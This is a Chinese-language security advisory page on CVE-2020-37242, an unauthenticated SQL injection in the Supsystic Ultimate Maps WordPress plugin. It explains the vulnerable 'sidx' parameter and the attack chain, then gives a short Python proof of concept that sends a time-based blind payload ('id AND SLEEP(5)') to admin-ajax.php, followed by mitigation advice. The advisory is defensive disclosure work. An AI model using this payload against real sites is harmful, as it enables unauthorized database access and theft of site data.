IPBUF安全漏洞报告
English
CVE-2020-37242 CVSS 8.2 高危

CVE-2020-37242 Supsystic插件SQL注入漏洞

披露日期: 2026-05-16

漏洞信息

漏洞编号
CVE-2020-37242
漏洞类型
SQL注入
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Supsystic Ultimate Maps

相关标签

SQL注入WordPress插件Supsystic Ultimate Maps无需认证盲注CVE-2020-37242

漏洞概述

Supsystic Ultimate Maps插件1.1.12版本存在严重的SQL注入漏洞。该漏洞允许未经身份验证的远程攻击者利用‘sidx’ GET参数中的缺陷,向服务器端发送恶意构造的SQL查询。攻击者可以通过getListForTbl动作触发漏洞,利用布尔或时间盲注技术获取敏感数据库信息,对网站数据安全构成重大威胁。

技术细节

漏洞位于WordPress插件Supsystic Ultimate Maps的`getListForTbl`功能模块中。在处理排序相关的逻辑时,程序直接将HTTP GET请求中的`sidx`参数值拼接到后台SQL查询语句中,且未实施任何输入清洗或使用预编译语句。这一安全疏忽使得未经过滤的用户输入直接进入数据库引擎执行。攻击者无需登录后台账户,即可利用此漏洞构造恶意SQL语句。鉴于通常无法在前端直接看到SQL报错信息,利用方式多采用布尔盲注或时间盲注。攻击者通过发送包含逻辑判断或延迟函数的Payload,分析服务器的响应状态或响应时间,从而推断出数据库结构并窃取敏感数据。

攻击链分析

STEP 1
侦察
攻击者识别目标站点是否安装了Supsystic Ultimate Maps插件及其版本。
STEP 2
漏洞利用
攻击者构造包含恶意SQL代码的`sidx`参数,向`/wp-admin/admin-ajax.php`发送带有`action=getListForTbl`的GET请求。
STEP 3
数据提取
利用盲注技术(布尔或时间盲注),通过分析服务器响应差异或延迟,逐字节提取数据库敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# PoC for CVE-2020-37242 import requests target_url = "http://example.com/wp-admin/admin-ajax.php" # Payload for Time-based Blind SQL Injection # Used to test if the database pauses execution payload = { "action": "getListForTbl", "table": "maps", "sidx": "id AND SLEEP(5)" } try: response = requests.get(target_url, params=payload) # Check if the response time indicates a delay (vulnerability confirmed) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: Time-based SQL Injection detected.") else: print("[-] Vulnerability not detected or patched.") except Exception as e: print(f"Error: {e}")

影响范围

Supsystic Ultimate Maps <= 1.1.12

防御指南

临时缓解措施
建议立即将Supsystic Ultimate Maps插件更新到最新修复版本。如果无法立即更新,应通过Web应用防火墙(WAF)拦截针对`admin-ajax.php`接口且包含特殊SQL字符(如单引号、AND、SLEEP等)的`sidx`参数请求,或者暂时禁用该插件以阻断攻击路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表